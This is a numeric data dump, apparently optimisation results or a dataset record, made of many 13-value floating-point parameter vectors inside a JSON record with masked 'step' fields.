-1.2059133330572482e-12, -2.1051647732787472e-13, 5.0388416851351e-11, -1.7478774930028702e-10, -1.82610373802557e-15, 7.503695295044637e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.680779846505464e-10, 198413310387.34686, 120002114057.9749] [2.2152115305769157e-10, -1.2071709641632366e-12, -2.088572649745598e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.8261648304268637e-15, 7.430575474541962e-16, 2.0343533479720338e-05, -1.7639524821935923e-06, -1.520980077906525e-08, 8.721578527250325e-10, 139696562348.4149, 123962248783.03809] [2.2152115305769157e-10, -1.1981340041661674e-12, -2.0952905567462806e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.8261648304268637e-15, 7.397318554179349e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.721578527250325e-10, 146191133033.73245, 124495463707.0261] [2.220169404817274e-10, -1.2059133330572482e-12, -2.0840667223230766e-13, 5.0388416851351e-11, -1.7352085678160897e-10, -1.82610373802557e-15, 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.535159731564839e-08, 8.794413360449789e-10, 153568856127.85236, 127226107362.62663] [2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7380412465809723e-10, -1.82610373802557e-15, 7.476241521935537e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.504298228349246e-08, 8.735477478457909e-10, 140382068840.41766, 128048566261.66084] [-9.575357968769427e-09, -1.2140137633227375e-12, -2.088572649745598e-13, 5.011120217163613e-11, -1.747166095423015e-10, -1.842789515995345e-15, 7.430575474541962e-16, 2.0343533479720338e-05, -1.761484506217259e-06, -1.520980077906525e-08, 8.721578527250325e-10, 135600496522.7375, 129146670219.88675] [-9.575357968769427e-09, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7558160485557454e-10, -1.82610373802557e-15, 7.449634745732176e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.735477478457909e-10, 131821303340.10287, 132556338910.10567] [2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.0382265280257245e-11, -1.743336316696023e-10, -1.813766783798406e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.735477478457909e-10, 129406444985.873, 132653030892.18918] [2.2152115305769157e-10, -1.2071709641632366e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7380412465809723e-10, -1.82610373802557e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7480334166671461e-06, -1.520980077906525e-08, 8.721578527250325e-10, 133865099427.32999, 140436120253.29218] [0.0, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7558160485557454e-10, -1.842789515995345e-15, 7.503695295044637e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10, 123172560507.99377, 143105235055.60883] [-9.575357968769427e-09, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7558160485557454e-10, -1.8261648304268637e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10, 119639757591.69417, 143860615432.91846] [2.2282051950271776e-10, -1.2059133330572482e-12, -2.1171136727356646e-13, 5.011120217163613e-11, -1.7558160485557454e-10, -1.82610373802557e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10, 119621740814.33159, 143868003797.30536] [-9.575357968769427e-09, -1.2028279049571785e-12, -2.1051647732787472e-13, 5.039644867967898e-11, -1.7558160485557454e-10, -1.842789515995345e-15, 7.430575474541962e-16, 1.9863936167468564e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.749223081325664e-10, 121395913545.80966, 144269444777.14786] [2.2282051950271776e-10, -1.2030336482043862e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7558160485557454e-10, -1.8261648304268637e-15, 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10, 118220156709.2957, 145085114899.6645] [2.2282051950271776e-10, -1.2030336482043862e-12, -2.1171136727356646e-13, 5.011120217163613e-11, -1.7471650977559177e-10, -1.8261648304268637e-15, 7.416691902768309e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10, 118220156709.04602, 145085114900.12366] [2.2082942462171206e-10, -1.2071709641632366e-12, -2.0913778067377877e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.8261648304268637e-15, 7.430575474541962e-16, 2.0343533479720338e-05, -1.7639524821935923e-06, -1.5074975460776788e-08, 8.721578527250325e-10, 109968109293.02217, 145590447784.79443] [2.22213071071529e-10, -1.2059133330572482e-12, -2.1085309656936224e-13, 5.021867485100539e-11, -1.7558160485557454e-10, -1.8261648304268637e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.760267738096764e-10, 111899934222.58044, 153694065180.84283] [2.2152115305769157e-10, -1.2059133330572482e-12, -2.0866854154642685e-13, 5.011120217163613e-11, -1.766361848796505e-10, -1.8339694239958517e-15, 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.760544278271184e-10, 112511385038.11157, 154263245256.49524] [3.868816176815073e-09, -1.2030336482043862e-12, -2.1171136727356646e-13, 5.021867485100539e-11, -1.7558160485557454e-10, -1.82610373802557e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.4920809345224143e-08, 8.750599822793858e-10, 102250033424.31876, 164710456294.5225] [2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7478774930028702e-10, -1.82610373802557e-15, 7.452586179271996e-16, 2.0343533479720338e-05, -1.7639524821935923e-06, -1.4975512206722303e-08, 8.721578527250325e-10, 92516509687.73035, 170174200265.44513]
normal
{ "blob_id": "bdf3cb1830021b10d6c8966b3341fd9297d9a371", "index": 2045, "step-1": "<mask token>\n", "step-2": "<mask token>\n[1.5780628845471506e-10, -1.411490597458207e-12, -2.483949940281473e-13, \n 5.026488748046414e-11, -1.6612576871621329e-10, -1.6989844545344268e-15,\n 8.109443782655016e-16, 2.404048022255995e-05, -1.9859378185800262e-06, \n -1.6176901999289427e-08, 9.489903548622118e-10, 102704594939.3429, \n 145011267381.10236]\n[6.525636151737385e-10, -1.5516831882387681e-12, -2.3065883936338436e-13, \n 4.6265959327559024e-11, -1.669670220497726e-10, -1.803564324024427e-15,\n 9.085513864943156e-16, 2.3963751617497686e-05, -1.9517021060346726e-06,\n -1.7031696163247858e-08, 9.514461873186105e-10, 165879895673.90985, \n 148817892429.6303]\n[6.525636151737385e-10, -1.5516831882387681e-12, -2.3065883936338436e-13, \n 4.6265959327559024e-11, -1.669670220497726e-10, -1.7924226413310876e-15,\n 9.085513864943156e-16, 2.3963751617497686e-05, -1.9517021060346726e-06,\n -1.68878771600575e-08, 9.514461873186105e-10, 117267023779.58536, \n 138194745977.8172]\n[6.483959591091273e-10, -1.5516831882387681e-12, -2.490649104258458e-13, \n 5.026488748046414e-11, -1.669670220497726e-10, -1.6989844545344268e-15,\n 8.109443782655016e-16, 2.3963751617497686e-05, -1.9859378185800262e-06,\n -1.6176901999289427e-08, 9.514461873186105e-10, 81279986793.6045, \n 148499957167.59894]\n[6.525636151737385e-10, -1.3197261044307544e-12, -2.4458923117817936e-13, \n 4.6265959327559024e-11, -1.6585443429963996e-10, -1.802849923078712e-15,\n 9.085513864943156e-16, 2.3963751617497686e-05, -1.9517021060346726e-06,\n -1.68878771600575e-08, 9.514461873186105e-10, 121168243931.69568, \n 138376625633.08905]\n[6.525636151737385e-10, -1.5516831882387681e-12, -2.3065883936338436e-13, \n 4.59768924730343e-11, -1.6588127033784183e-10, -1.7924226413310876e-15,\n 9.085513864943156e-16, 2.3963751617497686e-05, -1.9859378185800262e-06,\n -1.6176901999289427e-08, 9.503282761551985e-10, 127284942067.54468, \n 147143586736.12967]\n[6.525636151737385e-10, -1.5516831882387681e-12, -2.3065883936338436e-13, \n 4.6265959327559024e-11, -1.669670220497726e-10, -1.803564324024427e-15,\n 8.4683341745183045e-16, 2.3963751617497686e-05, -1.9517021060346726e-06,\n -1.7031696163247858e-08, 9.514461873186105e-10, 165879895673.90985, \n 148817892429.6303]\n[6.483959591091273e-10, -1.5516831882387681e-12, -2.477506624442777e-13, \n 5.026488748046414e-11, -1.669670220497726e-10, -1.7924226413310876e-15,\n 8.070333012129768e-16, 2.4138485475672502e-05, -1.9859378185800262e-06,\n -1.6108027319186075e-08, 9.514461873186105e-10, 78167992157.7952, \n 149819556305.94864]\n[2.8389500911155237e-10, -1.3179669217824132e-12, -2.1290409882195637e-13, \n 5.0376537605765665e-11, -1.7763084077799175e-10, -\n 1.8081388431942655e-15, 8.940150894056582e-16, 2.501288034169883e-05, -\n 2.04721003e-06, -1.5842532923181598e-08, 9.632771875757591e-10, \n 108694336300.90585, 154375559012.27695]\n[3.603083193105678e-11, -1.3197261044307544e-12, -2.213785963757499e-13, \n 4.581086934703742e-11, -1.6681614728164575e-10, -1.803564324024427e-15,\n 8.4683341745183045e-16, 2.4065016435368993e-05, -2.0711260096490455e-06,\n -1.7031696163247858e-08, 1.0052651438176042e-09, 98921398930.67514, \n 195080915978.15582]\n[-2.0926038768787875e-10, -1.4706748741606338e-12, -2.3988654320236774e-13,\n 4.877026722101481e-11, -1.4519789238682426e-10, -1.8284483886533772e-15,\n 8.688144408462996e-16, 2.7398930354457147e-05, -1.8015495121292713e-06,\n -1.818410294118833e-08, 8.90965422552221e-10, 100727388654.51337, \n 143318140783.98648]\n[-2.0926038768787875e-10, -1.4706748741606338e-12, -1.9531413192683389e-13,\n 4.852404641399239e-11, -1.450370910345386e-10, -1.9257301298903336e-15,\n 8.688144408462996e-16, 2.7370809361932293e-05, -1.8015495121292713e-06,\n -1.818410294118833e-08, 8.935114691513575e-10, 112772825510.86789, \n 160453198244.84198]\n[-8.304227478096081e-10, -1.500986356346536e-12, -1.9531413192683389e-13, \n 4.764041880667976e-11, -1.8918518378579712e-10, -1.9257301298903336e-15,\n 8.688144408462996e-16, 2.7122228639393258e-05, -1.8099079507631247e-06,\n -1.8203397437532012e-08, 8.935114691513575e-10, 177535436392.6114, \n 109895891048.79645]\n[-2.0926038768787875e-10, -1.6406892521440393e-12, -1.9531413192683389e-13,\n 4.85603371945204e-11, -1.450370910345386e-10, -1.9257301298903336e-15, \n 8.688144408462996e-16, 2.7370809361932293e-05, -1.8015495121292713e-06,\n -1.836034443165441e-08, 8.935114691513575e-10, 150364957402.63327, \n 122880053749.32047]\n[-8.223802918909379e-10, -1.4625176901480844e-12, -2.703868659848318e-13, \n 4.852404641399239e-11, -1.896863627503491e-10, -1.9257301298903336e-15,\n 8.688144408462996e-16, 2.697391208672331e-05, -1.7223534426462784e-06, \n -1.7212440323693525e-08, 8.377481199786938e-10, 199237170018.58218, \n 130994741061.18477]\n[-2.1118416643089627e-10, -1.459747004615292e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4471230416768517e-10, -1.9257301298903336e-15,\n 8.688144408462996e-16, 2.7267797101210102e-05, -1.8015495121292713e-06,\n -1.818410294118833e-08, 8.935114691513575e-10, 120611068648.22205, \n 148716985588.15564]\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.9412676391052573e-13,\n 4.852404641399239e-11, -1.4675478300173032e-10, -1.8210829282495652e-15,\n 8.751158883884222e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.830053261436748e-08, 9.081976758127089e-10, 190052435274.9098, \n 101545825010.15762]\n[-2.0926038768787875e-10, -1.647013760811586e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4446129047664535e-10, -1.8210829282495652e-15,\n 8.731899868495941e-16, 2.4857867004975476e-05, -1.8015495121292713e-06,\n -1.8287117187317536e-08, 9.081976758127089e-10, 195239394048.3779, \n 101879284463.33914]\n[-8.372413642600907e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.8210829282495652e-15,\n 8.765174154706532e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.8287117187317536e-08, 9.087619653117874e-10, 178582869424.88885, \n 102270797763.39908]\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.937673308636816e-13, \n 4.852404641399239e-11, -1.432701673757514e-10, -1.8210829282495652e-15,\n 8.765174154706532e-16, 2.4703687041471573e-05, -1.7900208911755532e-06,\n -1.836034443165441e-08, 9.087619653117874e-10, 171732970643.1874, \n 106305215455.77405]\n[-8.304227478096081e-10, -1.500986356346536e-12, -1.9531413192683389e-13, \n 4.7704075824842225e-11, -1.8975666267494283e-10, -\n 1.9099300746589145e-15, 8.757096667187756e-16, 2.7122228639393258e-05, \n -1.809239966469619e-06, -1.8203397437532012e-08, 8.935114691513575e-10,\n 166731944707.48343, 109962566902.69849]\n[-2.0926038768787875e-10, -1.3235354562894133e-12, -1.9531413192683389e-13,\n 4.852404641399239e-11, -1.5027518840822802e-10, -1.9355556139972827e-15,\n 8.69779310515605e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -\n 1.830053261436748e-08, 9.113315958572542e-10, 198705325524.15018, \n 111850971687.16727]\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.9531413192683389e-13,\n 4.858844276736905e-11, -1.5027518840822802e-10, -1.9257301298903336e-15,\n 8.765174154706532e-16, 2.507247127369048e-05, -1.8015495121292713e-06, \n -1.830053261436748e-08, 9.134614417430693e-10, 152877011534.3794, \n 128488226222.4665]\n[-8.325113652893972e-10, -1.647013760811586e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.8226533446456543e-15,\n 8.718221314640016e-16, 2.471871023322042e-05, -1.788813296914756e-06, -\n 1.836034443165441e-08, 9.148927620445716e-10, 115664967416.85544, \n 172987399752.44284]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15,\n 8.763652695826297e-16, 2.4957985197946978e-05, -1.7900208911755532e-06,\n -1.836034443165441e-08, 9.035879148460716e-10, 195862055252.448, \n 98829512345.71223]\n[-8.372802930516975e-10, -1.647013760811586e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.815921924023075e-15,\n 8.765346456450067e-16, 2.4957985197946978e-05, -1.799557982850986e-06, \n -1.836034443165441e-08, 9.081976758127089e-10, 191606485390.66824, \n 100937635343.36494]\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.9531413192683389e-13,\n 4.869384519400452e-11, -1.432701673757514e-10, -1.8130493256774034e-15,\n 8.765174154706532e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.836034443165441e-08, 9.087619653117874e-10, 197397120635.11142, \n 101220474756.5564]\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.924272863609467e-13, \n 4.852404641399239e-11, -1.4730851235460287e-10, -1.8195538935082505e-15,\n 8.751158883884222e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.830053261436748e-08, 9.081976758127089e-10, 189380748451.24603, \n 101440046940.62292]\n[-2.0926038768787875e-10, -1.647013760811586e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4663924630161214e-10, -1.815921924023075e-15,\n 8.688144408462996e-16, 2.4957985197946978e-05, -1.8015495121292713e-06,\n -1.8287117187317536e-08, 9.081976758127089e-10, 179897941081.52283, \n 101479475091.5385]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.8210829282495652e-15,\n 8.725909439109588e-16, 2.4957985197946978e-05, -1.8015495121292713e-06,\n -1.830053261436748e-08, 9.081976758127089e-10, 186125019263.05353, \n 101522685052.87083]\n[-8.372413642600907e-10, -1.647013760811586e-12, -1.9531413192683389e-13, \n 4.826770959894538e-11, -1.4675478300173032e-10, -1.815921924023075e-15,\n 8.675713932751666e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.8287117187317536e-08, 9.087619653117874e-10, 176424094355.21158, \n 102059630396.96977]\n[-8.32774857282967e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.475667375214216e-10, -1.8210829282495652e-15,\n 8.765174154706532e-16, 2.4703687041471573e-05, -1.7921694947468313e-06,\n -1.836034443165441e-08, 9.080472327376693e-10, 190619161162.84558, \n 102134941196.42899]\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.9412676391052573e-13,\n 4.835930442286039e-11, -1.4675478300173032e-10, -1.8210829282495652e-15,\n 8.751158883884222e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.8287117187317536e-08, 9.087619653117874e-10, 178582869424.89273, \n 102270797763.3992]\n[-8.372413642600907e-10, -1.3359785407261977e-12, -1.9482957217087468e-13, \n 4.831070029448083e-11, -1.4675478300173032e-10, -1.8210829282495652e-15,\n 8.688144408462996e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.8287117187317536e-08, 9.087619653117874e-10, 178582869424.89435, \n 102270797763.39929]\n[-2.0926038768787875e-10, -1.647013760811586e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4446129047664535e-10, -1.8304219886094965e-15,\n 8.765174154706532e-16, 2.4857867004975476e-05, -1.8015495121292713e-06,\n -1.8287117187317536e-08, 9.087619653117874e-10, 191644867011.30374, \n 102518032445.5969]\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.9412676391052573e-13,\n 4.82400894161232e-11, -1.4446129047664535e-10, -1.8228595048374295e-15,\n 8.751158883884222e-16, 2.506841119647095e-05, -1.8015495121292713e-06, \n -1.830053261436748e-08, 9.081976758127089e-10, 172947032775.99432, \n 102577021916.3392]\n[-2.103367158359051e-10, -1.3359785407261977e-12, -1.9376482536341035e-13, \n 4.852404641399239e-11, -1.432701673757514e-10, -1.8210829282495652e-15,\n 8.765174154706532e-16, 2.4703687041471573e-05, -1.7900208911755532e-06,\n -1.836034443165441e-08, 9.087619653117874e-10, 171732970643.1874, \n 106305215455.77405]\n[-8.372413642600907e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.8210829282495652e-15,\n 8.765174154706532e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.8161784527844478e-08, 9.087619653117874e-10, 144963603428.97382, \n 112061347287.60056]\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.9412676391052573e-13,\n 4.852404641399239e-11, -1.4675478300173032e-10, -1.8210829282495652e-15,\n 8.765174154706532e-16, 2.5026084747023036e-05, -1.7900208911755532e-06,\n -1.830053261436748e-08, 9.087619653117874e-10, 125853468889.92097, \n 136457449593.06062]\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.937673308636816e-13, \n 4.852404641399239e-11, -1.432701673757514e-10, -1.8210829282495652e-15,\n 8.765174154706532e-16, 2.4703687041471573e-05, -1.776082515662521e-06, \n -1.836034443165441e-08, 9.087619653117874e-10, 126137991779.33096, \n 160562679389.67618]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15,\n 8.763652695826297e-16, 2.4957985197946978e-05, -1.7900208911755532e-06,\n -1.836034443165441e-08, 9.035879148460716e-10, 195862055252.448, \n 98829512345.71223]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.803543054789903e-15,\n 8.763652695826297e-16, 2.4957985197946978e-05, -1.799557982850986e-06, \n -1.836034443165441e-08, 9.081976758127089e-10, 186222924740.70007, \n 100125948657.42978]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9475632661250835e-13, \n 4.855683396544643e-11, -1.4675478300173032e-10, -1.815921924023075e-15,\n 8.83613368865103e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, \n -1.830053261436748e-08, 9.081976758127089e-10, 183895104728.34744, \n 101215117638.35565]\n[-2.0926038768787875e-10, -1.3382357152930057e-12, -1.9531413192683389e-13,\n 4.869384519400452e-11, -1.432701673757514e-10, -1.8130493256774034e-15,\n 8.765174154706532e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.836034443165441e-08, 9.087619653117874e-10, 197397120635.11142, \n 101220474756.5564]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.432701673757514e-10, -1.8130493256774034e-15,\n 8.765174154706532e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.836034443165441e-08, 9.087619653117874e-10, 197397120635.11664, \n 101220474756.55742]\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.924272863609467e-13, \n 4.852404641399239e-11, -1.476291648179518e-10, -1.8195538935082505e-15,\n 8.751158883884222e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.830053261436748e-08, 9.081976758127089e-10, 189380748451.4617, \n 101440046940.6675]\n[-2.0969974314689316e-10, -1.647013760811586e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4663924630161214e-10, -1.815921924023075e-15,\n 8.725909439109588e-16, 2.4957985197946978e-05, -1.8015495121292713e-06,\n -1.8287117187317536e-08, 9.081976758127089e-10, 179897941081.52283, \n 101479475091.5385]\n[-2.0926038768787875e-10, -1.647013760811586e-12, -1.9531413192683389e-13, \n 4.8730627003901226e-11, -1.4675478300173032e-10, -1.815921924023075e-15,\n 8.725909439109588e-16, 2.4957985197946978e-05, -1.8015495121292713e-06,\n -1.8287117187317536e-08, 9.081976758127089e-10, 179897941081.58997, \n 101479475091.5439]\n[-2.0926038768787875e-10, -1.6370065196284276e-12, -1.9531413192683389e-13,\n 4.852404641399239e-11, -1.4663924630161214e-10, -1.8210829282495652e-15,\n 8.725909439109588e-16, 2.5149586855224063e-05, -1.8040587516026417e-06,\n -1.830053261436748e-08, 9.081976758127089e-10, 174674218067.03134, \n 101707557509.25955]\n[-2.0780704759852712e-10, -1.3359785407261977e-12, -1.928247479392491e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.815921924023075e-15,\n 8.815489945689696e-16, 2.492800478197597e-05, -1.799557982850986e-06, -\n 1.830053261436748e-08, 9.081976758127089e-10, 177564736843.2668, \n 101910116331.42278]\n[-2.0926038768787875e-10, -1.3481496678499343e-12, -1.9612804716494087e-13,\n 4.869384519400452e-11, -1.4625361988654996e-10, -1.816149350524488e-15,\n 8.725909439109588e-16, 2.4957985197946978e-05, -1.8015495121292713e-06,\n -1.830053261436748e-08, 9.087619653117874e-10, 176677319245.07892, \n 101942928295.47075]\n[-8.324503936172223e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4535167828811644e-10, -1.799249889019179e-15,\n 8.763652695826297e-16, 2.4957985197946978e-05, -1.7900208911755532e-06,\n -1.836034443165441e-08, 9.063398319687734e-10, 161710635101.41095, \n 104790698646.6004]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.8168585276282465e-11, -1.4675478300173032e-10, -\n 1.8210829282495652e-15, 8.725909439109588e-16, 2.4957985197946978e-05, \n -1.8015495121292713e-06, -1.830053261436748e-08, 9.102513898455556e-10,\n 160649925757.17908, 106424978687.80653]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.869384519400452e-11, -1.4675478300173032e-10, -1.799249889019179e-15,\n 8.765174154706532e-16, 2.4957985197946978e-05, -1.7900208911755532e-06,\n -1.836034443165441e-08, 9.067222192179334e-10, 157509126624.7564, \n 106648081137.30634]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.924272863609467e-13, \n 4.87567764690249e-11, -1.473869541008466e-10, -1.8210829282495652e-15, \n 8.797810044472039e-16, 2.5128697145423343e-05, -1.8015495121292713e-06,\n -1.830053261436748e-08, 9.089655956213592e-10, 156027014786.34595, \n 106784848298.00577]\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.9531413192683389e-13,\n 4.852404641399239e-11, -1.4675478300173032e-10, -1.8130493256774034e-15,\n 8.758120054489215e-16, 2.489589641570383e-05, -1.8015495121292713e-06, \n -1.836034443165441e-08, 9.120599461707459e-10, 159857940983.01962, \n 106918161793.97298]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9347415380665696e-13, \n 4.85631967683728e-11, -1.4675478300173032e-10, -1.8210829282495652e-15,\n 8.725909439109588e-16, 2.4957985197946978e-05, -1.8015495121292713e-06,\n -1.836417410231251e-08, 9.134390375783151e-10, 142628527511.76648, \n 117274357359.96004]\n[-2.0926038768787875e-10, -1.647013760811586e-12, -1.9567576322418712e-13, \n 4.852404641399239e-11, -1.4663924630161214e-10, -1.815921924023075e-15,\n 8.688144408462996e-16, 2.4957985197946978e-05, -1.8015495121292713e-06,\n -1.8287117187317536e-08, 9.120365536291957e-10, 136801158565.52109, \n 118996909122.33968]\n[-2.0926038768787875e-10, -1.3468298773490566e-12, -1.924272863609467e-13, \n 4.852404641399239e-11, -1.4730851235460287e-10, -1.8210829282495652e-15,\n 8.725909439109588e-16, 2.4957985197946978e-05, -1.8015495121292713e-06,\n -1.830053261436748e-08, 9.13148553316506e-10, 131221998343.07083, \n 125656067768.88814]\n[-8.372802930516975e-10, -1.6610460978653825e-12, -1.9391155389121011e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15,\n 8.765346456450067e-16, 2.500200335107093e-05, -1.777109321965829e-06, -\n 1.836034443165441e-08, 9.081976758127089e-10, 107442969837.9951, \n 191438895729.71088]\n[-8.373514643167848e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15,\n 8.705169785374419e-16, 2.4957985197946978e-05, -1.7900208911755532e-06,\n -1.836034443165441e-08, 9.035879148460716e-10, 195862055252.448, \n 98829512345.71223]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4659424506650604e-10, -1.7864100157215748e-15,\n 8.706272486016714e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.836034443165441e-08, 9.087619653117874e-10, 185690352687.11697, \n 99223644222.007]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9475632661250835e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.803543054789903e-15,\n 8.839563844754409e-16, 2.4957985197946978e-05, -1.799557982850986e-06, \n -1.836034443165441e-08, 9.081976758127089e-10, 186222924740.70007, \n 100125948657.42978]\n[-8.29844666406642e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.849645416672899e-11, -1.4675478300173032e-10, -1.803543054789903e-15,\n 8.714032924475303e-16, 2.492800478197597e-05, -1.799557982850986e-06, -\n 1.836034443165441e-08, 9.081976758127089e-10, 190148608462.3534, \n 100180028793.61896]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.869384519400452e-11, -1.432701673757514e-10, -1.8130493256774034e-15,\n 8.765174154706532e-16, 2.5177177276929545e-05, -1.7997194394724915e-06,\n -1.850709631603352e-08, 9.087619653117874e-10, 199924589208.46686, \n 100223589650.82378]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9654069739659012e-13, \n 4.855683396544643e-11, -1.461461940090847e-10, -1.803543054789903e-15, \n 8.763652695826297e-16, 2.4957985197946978e-05, -1.8015495121292713e-06,\n -1.830053261436748e-08, 9.081976758127089e-10, 178626169889.2221, \n 100558408593.70113]\n[-8.332310924150067e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.8877585360256924e-11, -1.4675478300173032e-10, -\n 1.8130493256774034e-15, 8.763652695826297e-16, 2.4957985197946978e-05, \n -1.8015495121292713e-06, -1.836034443165441e-08, 9.087619653117874e-10,\n 193351738763.71564, 100949387586.23102]\n[-8.372802930516975e-10, -1.343853363763315e-12, -1.9192642832280474e-13, \n 4.852404641399239e-11, -1.446871529700577e-10, -1.8130493256774034e-15,\n 8.765174154706532e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.836034443165441e-08, 9.087619653117874e-10, 197397120636.1133, \n 101220474756.86967]\n[-2.081071620571536e-10, -1.3430194729908366e-12, -1.9531413192683389e-13, \n 4.8687777307168814e-11, -1.432701673757514e-10, -1.8195538935082505e-15,\n 8.751158883884222e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.830053261436748e-08, 9.081976758127089e-10, 189380748448.52612, \n 101440046940.05927]\n[-8.372802930516975e-10, -1.3382357152930057e-12, -1.9531413192683389e-13, \n 4.869384519400452e-11, -1.432701673757514e-10, -1.815921924023075e-15, \n 8.834544584685654e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.836034443165441e-08, 9.087619653117874e-10, 198690577754.9655, \n 101467426817.57397]\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.924272863609467e-13, \n 4.8327983670281894e-11, -1.4675478300173032e-10, -\n 1.8258864221284576e-15, 8.83613368865103e-16, 2.492800478197597e-05, -\n 1.8015495121292713e-06, -1.8304452912365864e-08, 9.081976758127089e-10,\n 193392923341.53983, 101900620617.14302]\n[-8.372802930516975e-10, 